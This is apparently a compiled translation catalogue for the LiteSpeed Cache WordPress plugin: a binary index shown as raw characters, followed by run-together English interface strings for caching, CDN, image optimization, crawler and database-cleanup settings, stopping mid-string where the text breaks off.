�A�A�A�A�AB�Ab@B�BH�B?�B<CRC	hCrC+�C�C)�C�CDD)-D-WD�D�DC�D<�DH3EI|E�E&�EFF%F"DFgFwF�F�F�F.�F�F
GG.GEG`G'yG(�G&�G�G�GH,H(FHoH�H'�H�H3�HI0-I^I	qI�{INbJ	�J+�J#�J2K�>K�KC�KC3LwL&�L�L+�L�LWMiMnNA�N��N<TO�O�O�O�O�O"P&P?P[P.uPK�P	�Pj�PeQ�Q�Q
�Q��Q"VSyS�SD�SN�S?TNTgT|T�TD�T��TzU'�U]�U	
VV�V"�V�V�V$W!,WNWnW�W�W�W�W�W�WXX,XHXQX8cX$�X,�X��X!pY-�Y�Y�Y�Y Z9ZHBZ�Z�Z �Z#�ZV�Z	R[=\[:�[��[Vr\�\(�\]]	<]F]*^]�]�]
�]�].�]
^^^o^,�^
�^#�^�^(�^+#_O_e_�_+�_�_
�_�_#�_ `!1`S`p`��`Laea#ya�a�a�a�a�a	bbM&btb�b�b�b�bB�bW�b2Ecxc�cB�c��c��dWheh�en)fO�f_�fQHgO�gq�gF\hf�h|
ie�i&�i�lS�lc�lP_m
�m�m�m�m&n6nQnWenX�no%1o%Wo}o�oG�o�o�op9(p2bp$�pd�pq�9q`�q+r:rTrir�xr�Ts<t0Rt&�t%�t��t�u�u�u
�u�u�u8�u>	vHv7bv�v"�v2�v,w.w;wQwcwswh�w&�wx(&x=Ox�x�x�x�x�x
�x*�xq#y�yK�y��y�z
�z�z
�z�z6�z
{&{7{F{;R{�{�{@�{J�{F|5e|*�|L�|})+}#U}#y}�}�}@�}~!~c@~S�~F�~C?@�^�3#�SW�8����,�5� S�*t���%��'�#
�51�g�&����+ł"�%�:�P�n��t���-%�S�Ti�?����
�'�@�"[�~�����υ+ޅ
�
�"�7�I�P�%p���������ӆ��1	�;�9W�������$���
�
��L	�V�-f�������O�����#+�O�6d�)��Uʼn%�%A�&g�5��$Ċ*��@%�%f�9��ƋӋ�������3�>K�G��RҌI%�Lo�C��T�AU�������������ݎY��OW���2��9�-+�;Y�0���ƐIq���6Α�
�!�5� M�n� ����1��#�J�Ea�0��ؓ
���6�L�d�i�q���*����$ٔ
���)�@�T�f�'o���������dҕ~7�9��D�5�+H�t����M�DY�m��O�F\�,���Йl��n��.j�
��������F՛J�?g�v���7�wC�|��48�<m�-��0؞K	�MU�O�����*&�Q��e�w�������ա�M�S�[�s�������ݢ��*�6�H�Y�l�0~�"��Lң �Z@�)��,ŤX�DK�X��J�4�NI�n����-�&E�l���5��
˧+֧G�"J�Xm�-ƨ��#�8�*W�������̩����)7�a�+{������Ic���˫7�5� O�"p�������(ɬ��)�=�N�#i�4��P­�(�B�{Z�֮�-��&+�R�h�P��ѯ����3�RN�'��
ɰ԰7�
"�--��[��'
��5�B��d��l_�8̳2�8�gV���)Ҵ ��y���7��Y�gG�	����K̶�����<y���ϸ[۸7�yO�jɹ4�K�%a�1������޺D�
4�wB����pG�I��m�pp�W�_9�H��Z�b=�V��5��*-�ZX�,��%�*�51�@g�����6�G�X�l^���&��	��2�8�
W�=b�!��0��=��1�K�Z�^�d��k�3��
1�H?�h��m��H_����I9�p�����`v�����o�D�|Z�o��#G�kk���N��IE�>������^���X�jE�6��@��=(�Wf�n��0-�'^�Y��$��(�J.�+y�c��0	�I:�t��\���V�/��S�j[���V���6�0��J���;����JY�D��-��|�2��6�����������m�B��`��/(�cX����5P���[��}�*~�@��3��=�F\�2��m��HD�U��5��U�So�k���/�9��z�P�;�������u��v/�0��g��'?�jg�����|�@I�>��n��c8�<�����x���������$��������-�6�G�M��Q�T%�Jz�D��
��$��������������"�R#�v�	z�+����[0�
����������	��G��G3�W{�}��Q�m�$��#���)���t��K(�t���4�T	�"^�)��%��9�>�JJ����}@���6��
�?�F\������5��&8�)_����� ��"�'&�N�WT�����E��>(��g�* Cd~���e=��C%]iV�!�@!�`�bV�'�+�'#K5[:���4�7�Q�gl?U�<	X?	/�	<�	-
:3
n
�
�
i�
�
�
��	��KNWX^�
��	���
u
�
����SE�K�z���x ���hL�R�Bs�L��p������(�&Hxy�[K$D��;Hs<�u��V��m�������e*����{c@�
�<�yC���2	3�Q��_b���%;V�����u�E�w����h�%���V����r%�=�|��+�/!&G!jA���b�("��I,�	�K`0	���"���f4�r3�8#��0�7m��6�t;��68]��?��@��1�0��"Y��*d�&��i�6���G��S�2e������NX�/������Ou6$��[������~�w�
�cjT��X~�9��N�j������5��wn�
>�f*��>T��"m`�t��WR��oP�n$�v��*������s��op���v�gg�EC �k����`��0d�D,���A������#�V��)aZ�,�Q'�s��FoO�����-l����UL���oz79��>�&qM��[�=����3�3�a�}�p��bB��D����JG2�C:�r`._J��������S�9�XA��ZP85�taxQT��g��u��Yh��I�A�qO�jmo
+
��@R_q�Xg�/{F�����ZIIK�Bw-�V������C������>��
��q�?�J�)P/�i����|�k�!��17�M����S��^J�F�^��Qp7@|���\U-
�1��9��4��:��c�����]x�U} S�Riy�P�{{RP<�a��y��e#����O��gF��8i4���$����]�<�v�1&>�
�:������K�h�k9C�v��+�����u�Z!�|�%��:5s������"�f��^+��� Yd��N���j����(�nMBd����=:|������r������,Y%���<�th#HT�!���5L��~��~�_0l�z2��6[ODW��Hf��J �)W��(T�H.��5��f
�'Y=c�nx1L]���E��������d�7?����.�t?*�D��\�B4��}W�k�z�l�?N�i.���\$Q�]\mZ_��'.	l����
e�ba�`�l�M}U��b)����G^�,���4�I���U�A�X{)�qn�3����#'�y(@[-;��+}M�;cr�z�����p��e=^�G~�E��v-k8	F���2��'��/N��\w��W %s ago%1$s %2$s files left in queue%1$s plugin version %2$s required for this action.%d hour%d hours%d minute%d minutes%d seconds%s Extension%s file not readable.%s file not writable.%s group%s groups%s image%s images%s is recommended.%s must be turned ON for this setting to work.(no savings)(non-optm)(optm).htaccess Path<a href="%1$s" %2$s>View version %3$s details</a> or <a href="%4$s" %5$s target="_blank">update now</a>.<p>Please add/replace the following codes into the beginning of %1$s:</p> %2$sA Purge All will be executed when WordPress runs these hooks.A TTL of 0 indicates do not cache.A backup of each image is saved before it is optimized.AJAX Cache TTLAPIAccelerates the speed by caching Gravatar (Globally Recognized Avatars).ActivateAdd Missing SizesAdd new CDN URLAdd new cookie to simulateAdd to BlocklistAdding Style to Your Lazy-Loaded ImagesAdmin IP OnlyAdmin IPsAdvancedAdvanced (Recommended)Advanced SettingsAdvanced level will log more details.AfterAfter the QUIC.cloud Image Optimization server finishes optimization, it will notify your site to pull the optimized images.After verifying that the cache works in general, please test the cart.AggressiveAlias is in use by another QUIC.cloud account.All QUIC.cloud service queues have been cleared.All TransientsAll categories are cached by default.All pagesAll pages with Recent Posts WidgetAll tags are cached by default.Allows listed IPs (one per line) to perform certain actions from their browsers.Already CachedAlways purge both product and categories on changes to the quantity or stock status.An optional second parameter may be used to specify cache control. Use a space to separateAppend query string %s to the resources to bypass this action.Applied the %1$s preset %2$sApply PresetAre you sure to delete all existing blocklist items?Are you sure to destroy all optimized images?Are you sure you want to clear all cloud nodes?Are you sure you want to redetect the closest cloud server for this service?Are you sure you want to remove all image backups?Are you sure you want to reset all settings back to the default settings?Asynchronous CSS Loading with Critical CSSAuthor archiveAuto DraftsAuto Purge Rules For Publish/UpdateAuto Request CronAutomatic generation of critical CSS is in the background via a cron-based queue.Automatic generation of unique CSS is in the background via a cron-based queue.Automatically UpgradeAutomatically enable DNS prefetching for all URLs in the document, including images, CSS, JavaScript, and so forth.Automatically generate LQIP in the background via a cron-based queue.Automatically remove the original image backups after fetching optimized images.Automatically request optimization via cron job.Avatar list in queue waiting for updateBackend .htaccess PathBackend Heartbeat ControlBackend Heartbeat TTLBackup created %1$s before applying the %2$s presetBasicBasic Image PlaceholderBeforeBest available WordPress performanceBeta TestBlocklistBlocklistedBlocklisted due to not cacheableBoth %1$s and %2$s are acceptable.Both full URLs and partial strings can be used.Both full and partial strings can be used.BrowserBrowser CacheBrowser Cache SettingsBrowser Cache TTLBrowser caching stores static files locally in the user's browser. Turn on this setting to reduce repeated requests for static files.By default a gray image placeholder %s will be used.By default, the My Account, Checkout, and Cart pages are automatically excluded from caching. Misconfiguration of page associations in WooCommerce settings may cause some pages to be erroneously excluded.By design, this option may serve stale content. Do not enable this option, if that is not OK with you.CCSS Per URLCDNCDN BandwidthCDN SettingsCDN URLCDN URL to be used. For example, %sCSS & JS CombineCSS CombineCSS Combine External and InlineCSS ExcludesCSS MinifyCSS SettingsCSS, JS and HTML MinificationCSS/JS CacheCacheCache Admin BarCache Comment FormCache CommentersCache Control SettingsCache HitCache Logged-in UsersCache Login PageCache MissCache MobileCache REST APICache StatusCache WP-AdminCache key must be integer or non-empty string, %s given.Cache key must not be an empty string.Cache requests made by WordPress REST API calls.Cache the built-in Comment Form ESI block.Calculate Backups Disk SpaceCalculate Original Image StorageCalculated backups successfully.Can not create folder: %1$s. Error: %2$sCancelCategoryChanged setting successfully.Changes to this setting do not apply to already-generated LQIPs. To regenerate existing LQIPs, please %s first from the admin bar menu.Check StatusCheck my public IP fromCheck this option to use the primary site's configuration for all subsites.Clean AllClean Crawler MapClean Up Unfinished DataClean all auto saved draftsClean all orphaned post meta recordsClean all post revisionsClean all spam commentsClean all successfully.Clean all trackbacks and pingbacksClean all transient optionsClean all transients successfully.Clean all trashed commentsClean all trashed posts and pagesClean auto drafts successfully.Clean expired transient optionsClean expired transients successfully.Clean orphaned post meta successfully.Clean post revisions successfully.Clean revisions older than %1$s day(s), excluding %2$s latest revisionsClean spam comments successfully.Clean trackbacks and pingbacks successfully.Clean trashed comments successfully.Clean trashed posts and pages successfully.Cleaned all Critical CSS files.Cleaned all Gravatar files.Cleaned all LQIP files.Cleaned all Unique CSS files.Cleaned all localized resource entries.Cleaned up unfinished data successfully.Clear LogsCleared %1$s invalid images.Click here to set.Click to clear all nodes for further redetection.Click to switch to optimized version.Click to switch to original (unoptimized) version.Cloud ErrorCloud server refused the current request due to rate limiting. Please try again later.Cloud server refused the current request due to unpulled images. Please pull the images first.CloudflareCloudflare APICloudflare API is set to off.Cloudflare CacheCloudflare DomainCloudflare ZoneCollapse Query StringsCombine CSS files and inline CSS code.Combine all local JS files into a single file.Comments are supported. Start a line with a %s to turn it into a comment line.Communicated with Cloudflare successfully.Congratulation! Your file was already optimizedCongratulations, all gathered!Connection TestConvert to InnoDBConverted to InnoDB successfully.Cookie NameCookie SimulationCookie ValuesCould not find %1$s in %2$s.Crawl IntervalCrawlerCrawler CronCrawler General SettingsCrawler LogCrawler StatusCrawler disabled by the server admin.Crawler disabled list is cleared! All crawlers are set to active! Crawler(s)Create a post, make sure the front page is accurate.Credits are not enough to proceed the current request.Critical CSSCritical CSS RulesCron NameCurrent %s ContentsCurrent Cloud Nodes in ServiceCurrent crawler started atCurrent image post id positionCurrent limit isCurrent server loadCurrent server time is %s.Current sitemap crawl started atCurrent status is %1$s since %2$s.Current status is %s.Currently active crawlerCurrently using optimized version of WebP file.Currently using optimized version of file.Currently using original (unoptimized) version of WebP file.Currently using original (unoptimized) version of file.Custom SitemapDB Optimization SettingsDNS PreconnectDNS PrefetchDNS Prefetch ControlDNS Prefetch for static filesDaily archiveDashboardDatabaseDatabase OptimizerDatabase SummaryDatabase Table Engine ConverterDatabase to be usedDay(s)Debug HelpersDebug LevelDebug LogDebug SettingsDebug String ExcludesDebug URI ExcludesDebug URI IncludesDefaultDefault CacheDefault Feed TTLDefault Front Page TTLDefault HTTP Status Code Page TTLDefault Object LifetimeDefault Private Cache TTLDefault Public Cache TTLDefault REST TTLDefault TTL for cached objects.Default path isDefault port for %1$s is %2$s.Default valueDeferredDeferring until page is parsed or delaying till interaction can help reduce resource contention and improve performance causing a lower FID (Core Web Vitals metric).Delay rendering off-screen HTML elements by its selector.DelayedDelete all backups of the original imagesDestroy All Optimization DataDestroy all optimization data successfully.Determines how changes in product quantity and product stock status affect product pages and their associated category pages.Development ModeDevelopment Mode will be turned off automatically after three hours.Development mode will be automatically turned off in %s.DisableDisable All FeaturesDisable CacheDisable Image LazyloadDisable VPIDisable WordPress interval heartbeat to reduce server load.Disable this option to generate CCSS per Post Type instead of per page. This can save significant CCSS quota, however it may result in incorrect CSS styling if your site uses a page builder.DisabledDisabled WebP file successfully.Disabling this may cause WordPress tasks triggered by AJAX to stop working.Disabling this option may negatively affect performance.DismissDismiss this noticeDo Not Cache CategoriesDo Not Cache CookiesDo Not Cache GroupsDo Not Cache Query StringsDo Not Cache RolesDo Not Cache TagsDo Not Cache URIsDo Not Cache User AgentsDo not purge categories on changes to the quantity or stock status.DomainDowngrade not recommended. May cause fatal error due to refactored code.Drop Query StringESIESI NoncesESI SettingsESI allows you to designate parts of your dynamic page as separate fragments that are then assembled together to make the whole page. In other words, ESI lets you “punch holes” in a page, and then fill those holes with content that may be cached privately, cached publicly with its own TTL, or not cached at all.ESI sample for developersEditor HeartbeatEditor Heartbeat TTLElements with attribute %s in HTML code will be excluded.Elements with attribute %s in html code will be excluded.Email AddressEmpty Entire CacheEmpty blocklistEnable CacheEnable ESIEnable Viewport Images auto generation cron.Enable this option if you are using both HTTP and HTTPS in the same domain and are noticing cache irregularities.EnabledEnabled WebP file successfully.Enabling LiteSpeed Cache for WordPress here enables the cache for the network.Ended reasonEngineEnter this site's IP address to allow cloud services directly call IP instead of domain name. This eliminates the overhead of DNS and CDN lookups.Error: Failed to apply the settings %1$sEssentialsEvery MinuteEverything in Advanced, PlusEverything in Aggressive, PlusEverything in Basic, PlusEverything in Essentials, PlusExampleExample use case:Examples of test cases include:Exclude PathExclude SettingsExcludesExpired TransientsExportExport SettingsExtremeFailedFailed to back up %s file, aborted changes.Failed to communicate with CloudflareFailed to communicate with QUIC.cloud serverFailed to create Avatar table. Please follow <a %s>Table Creation guidance from LiteSpeed Wiki</a> to finish setup.Failed to get %s file contents.Failed to request via WordPressFailed to upgrade.Failed to write to %s.Fast Queue UsageFile %s is not writable.FilesFilter %s available for UCSS per page type generation.Filter %s is supported.Folder does not exist: %sFolder is not writable: %s.Font Display OptimizationFor URLs with wildcards, there may be a delay in initiating scheduled purge.For exampleFor example, %1$s defines a TTL of %2$s seconds for %3$s.For example, %s can be used for a transparent placeholder.For example, if every Page on the site has different formatting, enter %s in the box. Separate critical CSS files will be stored for every Page on the site.For that reason, please test the site to make sure everything still functions properly.Force Cache URIsForce Public Cache URIsForce cronForced cacheableFront pageFrontend .htaccess PathFrontend Heartbeat ControlFrontend Heartbeat TTLGeneralGeneral SettingsGenerate LQIP In BackgroundGenerate Link for Current UserGenerate UCSSGenerate a separate vary cache copy for the mini cart when the cart is not empty.Generated at %sGlobal API Key / API TokenGlobal GroupsGo to QUIC.cloud dashboardGo to plugins listGood news from QUIC.cloud serverGoogle reCAPTCHA will be bypassed automatically.Gravatar CacheGravatar Cache CronGravatar Cache TTLGroups cached at the network level.GuestGuest ModeGuest Mode IPsGuest Mode JS ExcludesGuest Mode User AgentsGuest Mode and Guest OptimizationGuest Mode failed to test.Guest Mode passed testing.Guest Mode provides an always cacheable landing page for an automated guest's first time visit, and then attempts to update cache varies via AJAX.Guest Mode testing resultGuest OptimizationHTML Attribute To ReplaceHTML Keep CommentsHTML Lazy Load SelectorsHTML MinifyHTML SettingsHTTPS sources only.HeartbeatHeartbeat ControlHigh-performance page caching and site optimization from LiteSpeedHigher TTLHistoryHitHome pageHostHow to Fix Problems Caused by CSS/JS Optimization.However, there is no way of knowing all the possible customizations that were implemented.Htaccess did not match configuration option.Htaccess rule is: %sI've already left a reviewIf %1$s is %2$s, then %3$s must be populated!If ON, the stale copy of a cached page will be shown to visitors until a new cache copy is available. Reduces the server load for following visits. If OFF, the page will be dynamically generated while visitors wait.If every web application uses the same cookie, the server may confuse whether a user is logged in or not.If only the WordPress site should be purged, use Purge All.If set to %1$s, before the placeholder is localized, the %2$s configuration will be used.If set to %s this is done in the foreground, which may slow down page load.If the category name is not found, the category will be removed from the list on save.If the login cookie was recently changed in the settings, please log out and back in.If the tag slug is not found, the tag will be removed from the list on save.If this is set to a number less than 30, feeds will not be cached.If using OpenLiteSpeed, the server must be restarted once for the changes to take effect.If you are using a %1$s socket, %2$s should be set to %3$sIf you run into any issues, please refer to the report number in your support message.If you turn any of the above settings OFF, please remove the related file types from the %s box.If you would rather not move at litespeed, you can deactivate this plugin.If your site contains public content that certain user roles can see but other roles cannot, you can specify a Vary Group for those user roles. For example, specifying an administrator vary group allows there to be a separate publicly-cached page tailored to administrators (with “edit” links, etc), while all other user roles see the default public page.If your theme does not use JS to update the mini cart, you must enable this option to display the correct cart contents.Iframes containing these class names will not be lazy loaded.Iframes having these parent class names will not be lazy loaded.Ignore certain query strings when caching. (LSWS %s required)Image InformationImage OptimizationImage Optimization SettingsImage Optimization SummaryImage Thumbnail Group SizesImage groups totalImages PulledImages containing these class names will not be lazy loaded.Images having these parent class names will not be lazy loaded.Images not requestedImages notified to pullImages optimized and pulledImages ready to requestImages requestedImages will be pulled automatically if the cron job is running.ImportImport / ExportImport SettingsImport failed due to file error.Imported setting file %s successfully.Improve HTTP/HTTPS CompatibilityImprove wp-admin speed through caching. (May encounter expired data)Improved byIn order to avoid an upgrade error, you must be using %1$s or later before you can upgrade to %2$s versions.In order to use QC services, need a real domain name, cannot use an IP.Include CSSInclude File TypesInclude ImagesInclude JSInclude external CSS and inline CSS in combined file when %1$s is also enabled. This option helps maintain the priorities of CSS, which should minimize potential errors caused by CSS Combine.Include external JS and inline JS in combined file when %1$s is also enabled. This option helps maintain the priorities of JS execution, which should minimize potential errors caused by JS Combine.Included DirectoriesInline CSS Async LibInline CSS added to CombineInline JS added to CombineInline UCSS to reduce the extra CSS file loading. This option will not be automatically turned on for %1$s pages. To use it on %1$s pages, please set it to ON.InstallInstall %sInstall DoLogin SecurityInstall NowInstant ClickInvalid IPInvalid login cookie. Invalid characters found.Invalid login cookie. Please check the %s file.Invalid rewrite ruleIt will be converted to a base64 SVG placeholder on-the-fly.JS CombineJS Combine External and InlineJS Defer for both external and inline JSJS Deferred / Delayed ExcludesJS DelayedJS Delayed IncludesJS ExcludesJS MinifyJS SettingsJS error can be found from the developer console of browser by right clicking and choosing Inspect.Join LiteSpeed Slack communityJoin Us on SlackJoin the %s community.Keep this off to use plain color placeholders.LQIPLQIP CacheLQIP Cloud GeneratorLQIP ExcludesLQIP Minimum DimensionsLQIP QualityLQIP image preview for size %sLQIP requests will not be sent for images where both width and height are smaller than these dimensions.LSCacheLSCache caching functions on this page are currently unavailable!Larger number will generate higher resolution quality placeholder, but will result in larger files which will increase page size and consume more points.Larger thanLast PullLast PulledLast RequestLast calculatedLast complete run time for all crawlersLast exportedLast generatedLast importedLast intervalLast pull initiated by cron at %s.Last ranLast requested costLazy Load Iframe Class Name ExcludesLazy Load Iframe Parent Class Name ExcludesLazy Load IframesLazy Load Image Class Name ExcludesLazy Load Image ExcludesLazy Load Image Parent Class Name ExcludesLazy Load ImagesLazy Load URI ExcludesLazy Load for IframesLazy Load for ImagesLearn MoreLearn moreLearn more about when this is neededLink to QUIC.cloudList of Mobile User AgentsList post types where each item of that type should have its own CCSS generated.Listed CSS files will be excluded from UCSS and saved to inline.Listed IPs will be considered as Guest Mode visitors.Listed JS files or inline JS code will be delayed.Listed JS files or inline JS code will not be deferred or delayed.Listed JS files or inline JS code will not be optimized by %s.Listed URI will not generate UCSS.Listed User Agents will be considered as Guest Mode visitors.Listed images will not be lazy loaded.LiteSpeed CacheLiteSpeed Cache CDNLiteSpeed Cache Configuration PresetsLiteSpeed Cache CrawlerLiteSpeed Cache DashboardLiteSpeed Cache Database OptimizationLiteSpeed Cache General SettingsLiteSpeed Cache Image OptimizationLiteSpeed Cache Network Cache SettingsLiteSpeed Cache Page OptimizationLiteSpeed Cache Purge AllLiteSpeed Cache SettingsLiteSpeed Cache Standard PresetsLiteSpeed Cache ToolboxLiteSpeed Cache View .htaccessLiteSpeed Cache plugin is installed!LiteSpeed Crawler CronLiteSpeed LogsLiteSpeed OptimizationLiteSpeed ReportLiteSpeed TechnologiesLiteSpeed cache plugin upgraded. Please refresh the page to complete the configuration data upgrade.Load CSS AsynchronouslyLoad Google Fonts AsynchronouslyLoad JS DeferredLoad iframes only when they enter the viewport.Load images only when they enter the viewport.LocalizationLocalization FilesLocalization SettingsLocalize ResourcesLocalize external resources.Localized ResourcesLog File Size LimitLog ViewLogin CookieLow Quality Image PlaceholderMBManageManually added to blocklistManually runMapMark this page as Maximum image post idMaximum valueMaybe LaterMaybe laterMedia ExcludesMedia SettingsMessage from QUIC.cloud serverMethodMinify CSS files and inline CSS code.Minify HTML content.Minify JS files and inline JS codes.Minimum valueMissMobileMobile Agent RulesMobile CacheMonthly archiveMoreMore information about the available commands can be found here.More settingsMore settings available under %s menuNOTENOTICENOTICE:NOTICE: Database login cookie did not match your login cookie.Network DashboardNetwork Enable CacheNew Developer Version Available!New Version Available!New developer version %s is available now.New release %s is available now.No available Cloud Node after checked server load.No available Cloud Node.No available Cloudflare zoneNo backup of original file exists.No backup of unoptimized WebP file exists.No cloud services currently in useNo crawler meta file generated yetNo optimizationNo valid image found by Cloud server in the current request.No valid image found in the current request.No valid sitemap parsed for crawler.Non cacheableNot AvailableNot blocklistedNoteNotesNoticeNotificationsNotified Cloudflare to purge all successfully.Notified Cloudflare to set development mode to %s successfully.Notified LiteSpeed Web Server to purge CSS/JS entries.Notified LiteSpeed Web Server to purge all LSCache entries.Notified LiteSpeed Web Server to purge all pages.Notified LiteSpeed Web Server to purge error pages.Notified LiteSpeed Web Server to purge everything.Notified LiteSpeed Web Server to purge the front page.Notified LiteSpeed Web Server to purge the list.OFFONORObjectObject CacheObject Cache SettingsObject cache is not enabled.Once saved, it will be matched with the current list and completed automatically.One or more pulled images does not match with the notified image md5One per line.Online node needs to be redetected.Only attributes listed here will be replaced.Only available when %s is installed.Only files within these directories will be pointed to the CDN.Only log listed pages.Only optimize pages for guest (not logged in) visitors. If turned this OFF, CSS/JS/CCSS files will be doubled by each user group.Only press the button if the pull cron job is disabled.Opcode CacheOpenLiteSpeed users please check thisOperationOptimization StatusOptimization SummaryOptimization ToolsOptimize CSS delivery.Optimize LosslesslyOptimize Original ImagesOptimize TablesOptimize all tables in your databaseOptimize for Guests OnlyOptimize images and save backups of the originals in the same folder.Optimize images using lossless compression.Optimize images with our QUIC.cloud serverOptimized all tables.Option NameOptionalOptional when API token used.Options saved.OrigOrig %sOrig saved %sOriginal URLsOriginal file reduced by %1$s (%2$s)Orphaned Post MetaOther checkboxes will be ignored.PAYG BalancePHP Constant %s is supported.Page Load TimePage OptimizationPageSpeed ScorePagesPartner Benefits Provided byPassedPasswordPasswordless LinkPath must end with %sPaths containing these strings will be cached regardless of no-cacheable settings.Paths containing these strings will be forced to public cached regardless of no-cacheable settings.Paths containing these strings will not be cached.Paths containing these strings will not be served from the CDN.Pay as You GoPay as You Go Usage StatisticsPersistent ConnectionPlease consider disabling the following detected plugins, as they may conflict with LiteSpeed Cache:Please do NOT share the above passwordless link with anyone.Please enable LiteSpeed Cache in the plugin settings.Please enable the LSCache Module at the server level, or ask your hosting provider.Please make sure this IP is the correct one for visiting your site.Please read all warnings before enabling this option.Please see %s for more details.Please test thoroughly when enabling any option in this list. After changing Minify/Combine settings, please do a Purge All action.Please thoroughly test all items in %s to ensure they function as expected.Please thoroughly test each JS file you add to ensure it functions as expected.Please try after %1$s for service %2$s.PortPost IDPost RevisionsPost type archivePreconnecting speeds up future loads from a given origin.Predefined list will also be combined w/ the above settingsPrefetching DNS can reduce latency for visitors.Preserve EXIF data (copyright, GPS, comments, keywords, etc) when optimizing.Preserve EXIF/XMP dataPresetsPress the %s button to stop beta testing and go back to the current release from the WordPress Plugin Directory.Press the %s button to use the most recent GitHub commit. Master is for release candidate & Dev is for experimental testing.Prevent Google Fonts from loading on all pages.Prevent any debug log of listed pages.Prevent any lazy load of listed pages.Prevent any optimization of listed pages.Prevent writing log entries that include listed strings.Previous request too recent. Please try again after %s.Previous request too recent. Please try again later.Previously existed in blocklistPrivatePrivate CachePrivate Cached URIsPrivate cachePrivately cache commenters that have pending comments. Disabling this option will serve non-cacheable pages to commenters. (LSWS %s required)Privately cache frontend pages for logged-in users. (LSWS %s required)Product Update IntervalPublicPublic CachePull Cron is runningPull ImagesPulled WebP image md5 does not match the notified WebP image md5.PurgePurge %s ErrorPurge %s error pagesPurge AllPurge All HooksPurge All On UpgradePurge By...Purge EverythingPurge Front PagePurge ListPurge LogPurge PagesPurge SettingsPurge all object caches successfully.Purge all the object cachesPurge categories only when stock status changes.Purge category %sPurge pages by category name - e.g. %2$s should be used for the URL %1$s.Purge pages by post ID.Purge pages by relative or full URL.Purge pages by tag name - e.g. %2$s should be used for the URL %1$s.Purge product and categories only when the stock status changes.Purge product on changes to the quantity or stock status.Purge product only when the stock status changes.Purge tag %sPurge the LiteSpeed cache entries created by this pluginPurge the cache entries created by this plugin except for Critical CSS & Unique CSS & LQIP cachesPurge this pagePurge url %sPurged All!Purged all caches successfully.Purged the blog!Purged!Pushed %1$s to Cloud server, accepted %2$s.QUIC.cloudQUIC.cloud Service Usage StatisticsQuery strings containing these parameters will not be cached.Read LiteSpeed DocumentationRecommended to generate the token from Cloudflare API token template "WordPress".Recommended value: 28800 seconds (8 hours).RedetectRedetected nodeRedis Database IDRefresh Crawler MapRefresh Gravatar cache by cron.Refresh page load timeRefresh page scoreRemaining Daily QuotaRemove CDN URLRemove Google FontsRemove Noscript TagsRemove Original BackupsRemove Original Image BackupsRemove Query StringsRemove Query Strings from Static FilesRemove WordPress EmojiRemove all previous image optimization requests/results, revert completed optimizations, and delete all optimization files.Remove all previous unfinished image optimization requests.Remove cookie simulationRemove from BlocklistRemove query strings from internal static resources.Removed Unused CSS for UsersRemoved backups successfully.Replace %1$s with %2$s.ReportRequests in queueRescan New ThumbnailsRescanned %d images successfully.Rescanned successfully.Reset All SettingsReset SettingsReset positionReset successfully.Reset the entire opcode cacheReset the optimized data successfully.Resources listed here will be copied and replaced with local URLs.Responsive PlaceholderResponsive Placeholder ColorResponsive Placeholder SVGResponsive image placeholders can help to reduce layout reshuffle when images are loaded.Restore SettingsRestore from backupRestored backup settings %1$sRestored original file successfully.Revisions Max AgeRevisions Max NumberRevisions newer than this many days will be kept when cleaning revisions.Role ExcludesRole SimulationRun %s Queue ManuallyRun FrequencyRun Queue ManuallyRun frequency is set by the Interval Between Runs setting.Run time for previous crawlerRunningSave ChangesSave transients in database when %1$s is %2$s.SavedSaving option failed. IPv4 only for %s.Scan for any new unoptimized image thumbnail sizes and resend necessary image optimization requests.Scheduled Purge TimeScheduled Purge URLsSelect "All" if there are dynamic widgets linked to posts on pages other than the front or home pages.Select below for "Purge by" options.Select only the archive types that are currently used, the others can be left unchecked.Select which pages will be automatically purged when posts are published/updated.Selected roles will be excluded from all optimizations.Selected roles will be excluded from cache.Send Optimization RequestSend this report to LiteSpeed. Refer to this report number when posting in the WordPress support forum.Send to LiteSpeedSeparate CCSS Cache Post TypesSeparate CCSS Cache URIsSeparate critical CSS files will be generated for paths containing these strings.Serve StaleServe a separate cache copy for mobile visitors.Serve all CSS files through the CDN. This will affect all enqueued WP CSS files.Serve all JavaScript files through the CDN. This will affect all enqueued WP JavaScript files.Server IPServer Load LimitServer variable(s) %s available to override this setting.Set an explicit width and height on image elements to reduce layout shifts and improve CLS (a Core Web Vitals metric).Set this to append %1$s to all %2$s rules before caching CSS to specify how fonts should be displayed while being downloaded.Set to %1$s to forbid heartbeat on %2$s.Setting Up Custom HeadersSettingsShorten query strings in the debug log to improve readability.Show crawler statusSignificantly improve load time by replacing images with their optimized %s versions.Site URL to be served through the CDN. Beginning with %1$s. For example, %2$s.Sitemap ListSitemap TotalSitemap cleaned successfullySitemap created successfully: %d itemsSizeSize list in queue waiting for cronSmaller thanSome optimized image file(s) has expired and was cleared.Spam CommentsSpecify a base64 image to be used as a simple placeholder while images finish loading.Specify an AJAX action in POST/GET and the number of seconds to cache that request, separated by a space.Specify an HTTP status code and the number of seconds to cache that page, separated by a space.Specify an SVG to be used as a placeholder when generating locally.Specify critical CSS rules for above-the-fold content when enabling %s.Specify how long in seconds before the crawler should initiate crawling the entire sitemap again.Specify how long, in seconds, Gravatar files are cached.Specify how long, in seconds, REST calls are cached.Specify how long, in seconds, feeds are cached.Specify how long, in seconds, private pages are cached.Specify how long, in seconds, public pages are cached.Specify how long, in seconds, the front page is cached.Specify the %s heartbeat interval in seconds.Specify the maximum size of the log file.Specify the number of most recent revisions to keep when cleaning revisions.Specify the password used when connecting.Specify the quality when generating LQIP.Specify the responsive placeholder SVG color.Specify the time to purge the "%s" list.Specify which HTML element attributes will be replaced with CDN Mapping.Standard PresetsStarted async crawlingStarted async image optimization requestStatic file type links to be replaced by CDN links.StatusStop loading WordPress.org emoji. Browser default emoji will be displayed instead.Storage OptimizationStore Gravatar locally.Store TransientsSuccessfully CrawledSummarySure I'd love to review!SwapSwitch back to using optimized images on your siteSwitched images successfully.Switched to optimized file successfully.Sync credit allowance with Cloud Server successfully.Sync data from CloudSystem InformationTTLTableTagTemporarily bypass Cloudflare cache. This allows changes to the origin server to be seen in realtime.Term archive (include category, tag, and tax)TestingThank You for Using the LiteSpeed Cache Plugin!The LiteSpeed Cache plugin is used to cache pages - a simple way to improve the performance of the site.The URLs here (one per line) will be purged automatically at the time set in the option "%s".The URLs will be compared to the REQUEST_URI server variable.The Viewport Images service detects which images appear above the fold, and excludes them from lazy load.The above nonces will be converted to ESI automatically.The amount of time, in seconds, that files will be stored in browser cache before expiring.The cache needs to distinguish who is logged into which WordPress site in order to cache correctly.The callback validation to your domain failed due to hash mismatch.The callback validation to your domain failed. Please make sure there is no firewall blocking our servers.The callback validation to your domain failed. Please make sure there is no firewall blocking our servers. Response code: The cookie set here will 